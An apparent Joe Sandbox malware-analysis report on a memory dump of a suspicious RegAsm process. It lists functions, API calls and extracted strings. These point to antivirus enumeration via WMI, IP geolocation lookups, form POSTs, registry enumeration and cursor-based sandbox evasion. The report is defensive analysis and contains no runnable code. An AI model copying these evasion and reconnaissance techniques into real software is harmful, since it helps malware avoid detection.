q, xrefs: 0043AEB1
Q?0<4, xrefs: 0043935D
B&#6#, xrefs: 00438812
https://ipinfo.io/, xrefs: 00438525
_1>2:, xrefs: 0043977F
P33, xrefs: 0043AE15
g, xrefs: 004380CC
https://ipgeolocation.io/, xrefs: 0043B81C
qtat, xrefs: 00438FD5
_6/, xrefs: 0043AD43
`epe, xrefs: 00438ADE
`epe, xrefs: 00438D21
/, xrefs: 0043B79E
@, xrefs: 0043BE04
j, xrefs: 00437FF3
Q50%0, xrefs: 004391B7
3WRGR, xrefs: 00438914
|, xrefs: 0043AC2D
Content-Type: application/x-www-form-urlencoded, xrefs: 00437CFA, 00437D4F, 00439BE2, 00439C37, 0043AB43
s, xrefs: 00437FEF
jeia, xrefs: 00438EC7
~, xrefs: 004380C8
p, xrefs: 0043957F

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: /$3WRGR$@$B&#6#$Content-Type: application/x-www-form-urlencoded$P33$Q50%0$Q?0<4$_1>2:$_6/$`epe$`epe$g$https://ipgeolocation.io/$https://ipinfo.io/$j$jeia$p$q$qtat$s$|$~
API String ID: 0-866918232
Opcode ID: e1cd7c295ddf3df6981acd892c63e9c15f73bd08202d6f8dc0c11a499311ce8c
Instruction ID: 3cb08cb2aa28fa89ba4ffd0713311a434def749515bbeababd06ad18744401cf
Opcode Fuzzy Hash: e1cd7c295ddf3df6981acd892c63e9c15f73bd08202d6f8dc0c11a499311ce8c
Instruction Fuzzy Hash: C4830370D052A88BDB25CB28CC94BEEBBB1AF89304F0481DAD54D67242CB796F85CF55

Function 004516E0 Relevance: 44.5, APIs: 2, Strings: 22, Instructions: 2466COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004517F8
__aulldiv.LIBCMT ref: 0045266D

Strings

:, xrefs: 00453FFC
:, xrefs: 00453012
:, xrefs: 004535C1
:::, xrefs: 0045391B
:, xrefs: 00452EEF
:, xrefs: 00452DCC
:, xrefs: 00453135
:, xrefs: 004536E4
%, xrefs: 004526D9
:, xrefs: 00453A4D
0$L, xrefs: 00452592
:, xrefs: 00452CA9
:, xrefs: 00452A63
:, xrefs: 0045349E
:, xrefs: 00453807
:, xrefs: 00453ED9
:, xrefs: 00453DB6
:, xrefs: 00453C93
:, xrefs: 0045337B
:, xrefs: 00453B70
:, xrefs: 00452B86
:, xrefs: 00453258

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$0$L$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:::
API String ID: 3732870572-2541658501
Opcode ID: d2973d444f2338ed67561c4507a52d5f7d81a84a3194f01f7c3c413e6c9c1a71
Instruction ID: d47760f7e26225443ca8e7721f0b8a2d5391c089de3b26d7b6fb0010f32e4fb0
Opcode Fuzzy Hash: d2973d444f2338ed67561c4507a52d5f7d81a84a3194f01f7c3c413e6c9c1a71
Instruction Fuzzy Hash: 7A4339709042688BCB25DF25CC91BEEBBB5AF45308F0441DED54AAB242DB346F88CF59

Function 00430720 Relevance: 29.2, APIs: 13, Strings: 3, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0043086A
__aulldiv.LIBCMT ref: 00430B79

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 00430C1F
__aulldiv.LIBCMT ref: 00430C8B

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00430DC5
__aulldiv.LIBCMT ref: 00430EFA
__aulldiv.LIBCMT ref: 004310BA
__fread_nolock.LIBCMT ref: 00431111

Strings

eks, xrefs: 00430890
M?/, xrefs: 004309AB
j3l6lrek, xrefs: 0043091F, 0043095A

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: M?/$eks$j3l6lrek
API String ID: 3493607940-3613967787
Opcode ID: c200e13b884ffd9db78de12b63aeebf653273d66cc32116f8679f1cf9e9ae3b0
Instruction ID: 0911f9bca2f94a393696f148c0516d029e77a2e7bf599fe6e3518b9a32bc6943
Opcode Fuzzy Hash: c200e13b884ffd9db78de12b63aeebf653273d66cc32116f8679f1cf9e9ae3b0
Instruction Fuzzy Hash: 5EB2AFB1D001189FDB24DB64CC91BEEBBB5BB89304F1481EAE509A7391DB386E85CF54

Function 004317C0 Relevance: 29.2, APIs: 13, Strings: 3, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0043190A
__aulldiv.LIBCMT ref: 00431C19

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 00431CBF
__aulldiv.LIBCMT ref: 00431D2B

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00431E65
__aulldiv.LIBCMT ref: 00431F9A
__aulldiv.LIBCMT ref: 0043215A
__fread_nolock.LIBCMT ref: 004321B1

Strings

eks, xrefs: 00431930
%WG, xrefs: 00431A4B
j3l6lrek, xrefs: 004319BF, 004319FA

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: %WG$eks$j3l6lrek
API String ID: 3493607940-2936655640
Opcode ID: 1d24319727cd279528f290ee24fda35c71c4a1987da85be842271575f63b8267
Instruction ID: b1c12d4942765cb6465669118be51ca0a295dfd21bd9c7c53e5b1532e323a69f
Opcode Fuzzy Hash: 1d24319727cd279528f290ee24fda35c71c4a1987da85be842271575f63b8267
Instruction Fuzzy Hash: 9AB29FB1D002189BDB24DB64CC91BEEBBB5BB88304F1481E9E50DA7391DB386E85CF55

Function 00434D10 Relevance: 26.0, APIs: 3, Strings: 11, Instructions: 1456COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 004357C0
__aulldiv.LIBCMT ref: 00435B18
__aulldiv.LIBCMT ref: 00435E74

Strings

{zs~f, xrefs: 00436211
}, xrefs: 00434EC6
Q, xrefs: 00434E43
eks, xrefs: 00434D29, 00436371
0EB\, xrefs: 004358F4
h, xrefs: 00435567
-, xrefs: 00434E3F
'FU@T, xrefs: 00435C50
e, xrefs: 00435563
j3l6lrek, xrefs: 00434DD0, 00434E0B, 00436418, 00436453
E1<5 , xrefs: 00435F91

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: 'FU@T$-$0EB\$E1<5 $Q$e$eks$h$j3l6lrek${zs~f$}
API String ID: 3732870572-2183376660
Opcode ID: 3f6f062bd73a38556c540f911a047e0407e7bde7511b0282009358f4a23aa54e
Instruction ID: 747b2506a5e42bcdd71b6acd59dedac51d7a2e965743749b29b25dda6c3ac0f7
Opcode Fuzzy Hash: 3f6f062bd73a38556c540f911a047e0407e7bde7511b0282009358f4a23aa54e
Instruction Fuzzy Hash: 9CE27970D042689BDB24DB64CC94BEEBBB5BF49304F0481EAE50967381DB386E85CF59

Function 004335E0 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 004335ED
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00433613
CoUninitialize.OLE32 ref: 00433622

Strings

%ws, xrefs: 00433853
ROOT\SecurityCenter2, xrefs: 00433678
displayName, xrefs: 00433824
WQL, xrefs: 00433736
Select * From AntiVirusProduct, xrefs: 00433705

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Initialize$SecurityUninitialize
String ID: %ws$ROOT\SecurityCenter2$Select * From AntiVirusProduct$WQL$displayName
API String ID: 3757020523-4229669714
Opcode ID: eaec085b1b6dd3699d2f62392f67ea01508f23bd997be2f534e890823a2c8c26
Instruction ID: 3415da0e011199fc3e2cc9ec5fa5c7ccbc40b9197a72ebab5372d2eeaf1b77bc
Opcode Fuzzy Hash: eaec085b1b6dd3699d2f62392f67ea01508f23bd997be2f534e890823a2c8c26
Instruction Fuzzy Hash: F2A1F8B4E00209EFEB14DF94C945BEEBBB5BB48305F20815AE5126B390D7B86A45CF54

Function 0046D6A0 Relevance: 17.3, APIs: 2, Strings: 6, Instructions: 3312COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0046F56F

Strings

3, xrefs: 004700DC
), xrefs: 0047066D
0$L, xrefs: 0046F495
&, xrefs: 0046FB56
%, xrefs: 0046F5DB
', xrefs: 00470294

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$0$L$3
API String ID: 3732870572-1995469967
Opcode ID: 44cb2e8261319b3f0cc0650ccd1edb8e46155ef4d7ab5b2a61a9da1aed8f268f
Instruction ID: 8cc815e13843b1615ecc7e23c180f076d1c7d06ca97be8f89456899c3f0c1430
Opcode Fuzzy Hash: 44cb2e8261319b3f0cc0650ccd1edb8e46155ef4d7ab5b2a61a9da1aed8f268f
Instruction Fuzzy Hash: B083E070D052688FCB65CB28CC90BEEBBB1BF89308F0481DAD54DA7252DA356E85CF55

Function 00436690 Relevance: 16.9, APIs: 2, Strings: 7, Instructions: 1184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

g, xrefs: 00437082
+, xrefs: 004368EA
eks, xrefs: 00436B4E
j, xrefs: 00437086
y, xrefs: 00436862
j3l6lrek, xrefs: 00436BF5, 00436C30
W, xrefs: 004368E6

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake
String ID: +$W$eks$g$j$j3l6lrek$y
API String ID: 4258034872-1886760743
Opcode ID: ea6ea8d2f3ab9ce9e7e6252f61684d28c99ec1240f6daa22b0b8fdcaa50273a1
Instruction ID: dc4c5f22ac1deca6b01a7040cb76d29893b33e96e1edfd5bba7e697b688edc0f
Opcode Fuzzy Hash: ea6ea8d2f3ab9ce9e7e6252f61684d28c99ec1240f6daa22b0b8fdcaa50273a1
Instruction Fuzzy Hash: AFC299B1D042689BDB24DB64CC91BEEBBB1BF49304F0481EAE50A67341DB386E85CF55

Function 00481510 Relevance: 16.6, APIs: 2, Strings: 6, Instructions: 2639COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004827C3

Strings

), xrefs: 004838C1
3, xrefs: 00483330
%, xrefs: 0048282F
', xrefs: 004834E8
0$L, xrefs: 004826E9
&, xrefs: 00482DAA

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$0$L$3
API String ID: 3732870572-1995469967
Opcode ID: 92695dde841febb3fb154e9748f2d6a595df71450d35f05aeaa828d04f731f51
Instruction ID: 97ac38ef77c0c6b9a8f59f452cc3047ccc89d210b729be0d17a9b5521b1fd7f4
Opcode Fuzzy Hash: 92695dde841febb3fb154e9748f2d6a595df71450d35f05aeaa828d04f731f51
Instruction Fuzzy Hash: FD53F270D052688FCB25DB28CC90BEEBBB5BF89308F1481DAD549A7252DB346E85CF54

Function 00509E90 Relevance: 16.0, APIs: 10, Instructions: 1016
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,?), ref: 00509FC7
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A119
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A26B
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A3BD
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A50F
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A697
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A831
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A9CB
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050AB65
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050ACFF

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f1270e6e2d87beaae4e83bf3915e2207f0a94d2f7380b88428e2a0d75044e534
Instruction ID: e07643e46a646aaaf5531bcd09474d46eba51b7c10ba332e99bfc2e3fa614c78
Opcode Fuzzy Hash: f1270e6e2d87beaae4e83bf3915e2207f0a94d2f7380b88428e2a0d75044e534
Instruction Fuzzy Hash: 5FB2F370D05268CFDB25CF68C890BEEBBB1BF89308F1481D9D44AAB346D6316A84DF55

Function 0047ECF0 Relevance: 15.7, APIs: 2, Strings: 6, Instructions: 1747
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0047EF3A

Strings

3, xrefs: 0047F9A5
), xrefs: 0047FF36
0$L, xrefs: 0047EE60
', xrefs: 0047FB5D
&, xrefs: 0047F46A
%, xrefs: 0047EF9A

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$0$L$3
API String ID: 3732870572-1995469967
Opcode ID: a11c6e213b5ede435d87d1ea389a9fbce53f9f7983060bbae8c51fb249bd8d51
Instruction ID: cbad4f1d865f92d8719183a3c9b2d02b2dab102897bf1644d3be6b93f63304ea
Opcode Fuzzy Hash: a11c6e213b5ede435d87d1ea389a9fbce53f9f7983060bbae8c51fb249bd8d51
Instruction Fuzzy Hash: FE130370D052688FCB29DF68CC90BEDBBB5BF49304F1481EAD50AA7252DB346A85CF54

Function 00433BC0 Relevance: 14.9, APIs: 3, Strings: 5, Instructions: 892
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00433D24
__aulldiv.LIBCMT ref: 00433DDD
__aulldiv.LIBCMT ref: 004344A8

Strings

li|i5, xrefs: 0043408E
Content-Type: application/x-www-form-urlencoded, xrefs: 004344ED, 0043452D
eks, xrefs: 004345E6, 00434811
KJK, xrefs: 00433E36
j3l6lrek, xrefs: 00434684, 004346BF, 004348B8, 004348F3

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded$KJK$eks$j3l6lrek$li|i5
API String ID: 3732870572-1115762480
Opcode ID: e5f26eb2e3236d9a77ac6a34ffa91b5d8ecf696a71d77773daa50051eee25cd3
Instruction ID: 106c71ccd861b060588dc94ca6613e246067d867f159534f429670cc332e06ee
Opcode Fuzzy Hash: e5f26eb2e3236d9a77ac6a34ffa91b5d8ecf696a71d77773daa50051eee25cd3
Instruction Fuzzy Hash: 2B925670D002689BDB24DB68CC95BDEBBB5BF89304F1481DAE409A7351DB386E84CF54

Function 00442940 Relevance: 11.3, APIs: 4, Strings: 2, Instructions: 789
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053F46A: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F475
Part of subcall function 0053F46A: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F4AF

__aulldiv.LIBCMT ref: 00442C07
RegEnumKeyExA.KERNEL32(?,00000000,?,00000104,00000000,00000000,00000000,00000000,00000000,eks), ref: 00442E30
RegOpenKeyExA.KERNEL32(80000001,?,00000000,?,?), ref: 00442CB9

Part of subcall function 0053F419: AcquireSRWLockExclusive.KERNEL32(0058F970,-000071FB,?,00431712,00591F6C), ref: 0053F423
Part of subcall function 0053F419: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F456
Part of subcall function 0053F419: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F461

Strings

eks, xrefs: 00442A24, 00442CFC, 00443298, 004432D3, 004434D6, 00443511
j3l6lrek, xrefs: 00442AB9, 00442AF4, 00442D91, 00442DCC, 0044337A, 004433B5, 004435B8, 004435F3

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionEnumOpenVariableWake__aulldiv
String ID: eks$j3l6lrek
API String ID: 2427947366-388657971
Opcode ID: 6b45f0c0b1a1b5d895f41bea4501367d986c70853a20165a36adef1b457f276d
Instruction ID: 8d86d33408a6084f0b5bb9993c10aaf18c6c3ec863bcba264a7f9e52fb6a2fac
Opcode Fuzzy Hash: 6b45f0c0b1a1b5d895f41bea4501367d986c70853a20165a36adef1b457f276d
Instruction Fuzzy Hash: 3F8232B0D042289FEB24CF65C895BEEBBB1BF49304F1481DAE509A7281DB746E85CF54

Function 00440EF0 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053F46A: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F475
Part of subcall function 0053F46A: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F4AF

Part of subcall function 0053F419: AcquireSRWLockExclusive.KERNEL32(0058F970,-000071FB,?,00431712,00591F6C), ref: 0053F423
Part of subcall function 0053F419: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F456
Part of subcall function 0053F419: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F461

__aulldiv.LIBCMT ref: 00441215
__aulldiv.LIBCMT ref: 00441289

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__fread_nolock.LIBCMT ref: 0044141F

Strings

E7', xrefs: 00441040
eks, xrefs: 004412CA, 004412F9
j3l6lrek, xrefs: 00441388, 004413B7

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock__aulldiv$AcquireRelease$ConditionVariableWake__fread_nolock
String ID: E7'$eks$j3l6lrek
API String ID: 577242060-1487636565
Opcode ID: f6f108ef8dad4976fee8b36634531ef2ea68eb7122a9a9160ee941f7bc0c6818
Instruction ID: 16b2b0995d7cabd15e91120ff966c956e00ec11b4969f006d7267ade63b99cbf
Opcode Fuzzy Hash: f6f108ef8dad4976fee8b36634531ef2ea68eb7122a9a9160ee941f7bc0c6818
Instruction Fuzzy Hash: 5CF15DB1D002189FEB14DFA5CC81BEEBBB5BF88304F1481AAE509A7351D7346A85CF65

Function 00433110 Relevance: 9.3, APIs: 6, Instructions: 343
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCursorPos.USER32(?), ref: 00433123
GetCursorPos.USER32(?), ref: 0043313A
Sleep.KERNEL32(?), ref: 004332F0
GetCursorPos.USER32(?), ref: 004332FA
__aulldiv.LIBCMT ref: 004333DD
Sleep.KERNEL32(?), ref: 004335C5

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Cursor$Sleep$__aulldiv
String ID:
API String ID: 1481957275-0
Opcode ID: dcf9c00a7e97fecd02fd9938f1936ccbf7ca015506be9334f0c065dd2cab9ac1
Instruction ID: 8a097d05dced33c6d991d09dc41d9b20dfebcde54b8b306d9fc0f54561421e32
Opcode Fuzzy Hash: dcf9c00a7e97fecd02fd9938f1936ccbf7ca015506be9334f0c065dd2cab9ac1
Instruction Fuzzy Hash: C0F1D674E04218DFDB14CF98C890BAEBBB2FF88304F14819AE819A7345D734AA85CF55

Function 0050CFA0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 135
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(00000000,00000000,aaj38,?), ref: 0050D100
GetProcessHeap.KERNEL32(00000008,-00000001,00000000,aaj38,?), ref: 0050D123
HeapAlloc.KERNEL32(00000000), ref: 0050D12A
lstrcpynA.KERNEL32(00000000,00000000,00000000), ref: 0050D13F

Strings

aaj38, xrefs: 0050D009, 0050D038
38a49, xrefs: 0050D0B2, 0050D0E1

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocProcesslstrcpynlstrlen
String ID: 38a49$aaj38
API String ID: 2211197272-4103302207
Opcode ID: 94a3caad35bae9ed137715b816d78779ff1bbf64b6a7a3df5cdc6150e8b95f49
Instruction ID: fa0a461e78fb7a836b5555dd3e35fc0a55873424fcd1d06a47dee6f06eaf870f
Opcode Fuzzy Hash: 94a3caad35bae9ed137715b816d78779ff1bbf64b6a7a3df5cdc6150e8b95f49
Instruction Fuzzy Hash: C051F3B0D04248AFCF04DFE5D8A9BEEBFB1BF48304F108459E405AB285D7755A85CBA4

Function 0042C650 Relevance: 7.8, APIs: 5, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000001), ref: 0042C6A2
GetLastError.KERNEL32 ref: 0042C6B2
__aulldiv.LIBCMT ref: 0042C712
__aulldiv.LIBCMT ref: 0042C7EF
__aulldiv.LIBCMT ref: 0042C915

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$AttributesErrorFileLast
String ID:
API String ID: 3597693367-0
Opcode ID: 55a0ffd65d635a736fd0f32517bbb6d0ee06b144f8cd114fb8f3d573e8385d43
Instruction ID: 171163df6a5469bb685a1dcc2d2e6b38f2ae5d0888ea26d8b96f344418b844e0
Opcode Fuzzy Hash: 55a0ffd65d635a736fd0f32517bbb6d0ee06b144f8cd114fb8f3d573e8385d43
Instruction Fuzzy Hash: 52A181B1E002189BEB24DFA8DC85B9EBBB5FB88314F118169E508B7385D7386D45CF94

Function 0050CCC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 218networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0050C9A0: InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050C9F4

InternetOpenUrlA.WININET(00000000,00000002,00000000,00000000,80000000,00000000), ref: 0050CDD3
InternetCloseHandle.WININET(00000000), ref: 0050CF67

Strings

{, xrefs: 0050CE91

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$Open$CloseHandle
String ID: {
API String ID: 3289985339-366298937
Opcode ID: bec86582bf87cb6ec44c593c355c6524ee886343a2906068f91a9cc12ce6d11d
Instruction ID: 8db43445148f848e01c96d2155470330caf1341d3ab81107c46bd90b0f4d6e07
Opcode Fuzzy Hash: bec86582bf87cb6ec44c593c355c6524ee886343a2906068f91a9cc12ce6d11d
Instruction Fuzzy Hash: 2DA102B0D00209DFDB04CF98C894BEEBFB5BF49304F248669E505AB281D774AA45CFA1

Function 004271F0 Relevance: 7.2, APIs: 2, Strings: 1, Instructions: 1923libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00424710: __aulldiv.LIBCMT ref: 00424AA3

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0042900A
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004291AF

Strings

#pOFFS, xrefs: 004274CE

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad$__aulldiv
String ID: #pOFFS
API String ID: 898380398-705259296
Opcode ID: 075b82e863d82985c92858343796a2abb74470af30bae2bffee8adfb4a8b25cc
Instruction ID: a5c539824b35d0d5896e64acabf104eaafad15a16b68ac8d1a02a8f78ae606b2
Opcode Fuzzy Hash: 075b82e863d82985c92858343796a2abb74470af30bae2bffee8adfb4a8b25cc
Instruction Fuzzy Hash: 06231770E052688FDB25CF68DC90BEEBBB1BF4A308F1481DAD449AB342D6355A85CF54

Function 00434AF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00434B8D
__aulldiv.LIBCMT ref: 00434C47

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 00434C74, 00434CA8

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded
API String ID: 3732870572-2811858139
Opcode ID: 354062bcd6b8e45a3d01c27706b8ff0fe5bc80265c707d876c79662d54c12366
Instruction ID: 4af1c02f5f067eebff067ee2fe9a4bf0fe1cb20be73b08100df31c38bd6c6094
Opcode Fuzzy Hash: 354062bcd6b8e45a3d01c27706b8ff0fe5bc80265c707d876c79662d54c12366
Instruction Fuzzy Hash: 6F615EB1E00208ABDB14DFA9DC55BDEBBB5FF88304F108159E509BB394DB346945CB94

Function 0051CE90 Relevance: 4.6, APIs: 3, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 0051CF1E
GetLastError.KERNEL32 ref: 0051CF5F
SetLastError.KERNEL32(?,?,00000000,00000001,00000028,?,00000000,00000001,00000008), ref: 0051D004

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$HandleModule
String ID:
API String ID: 1090667551-0
Opcode ID: bb15006e30f6fc4ad114c43c02281f78c9b151033810da23866ffd457616cdb5
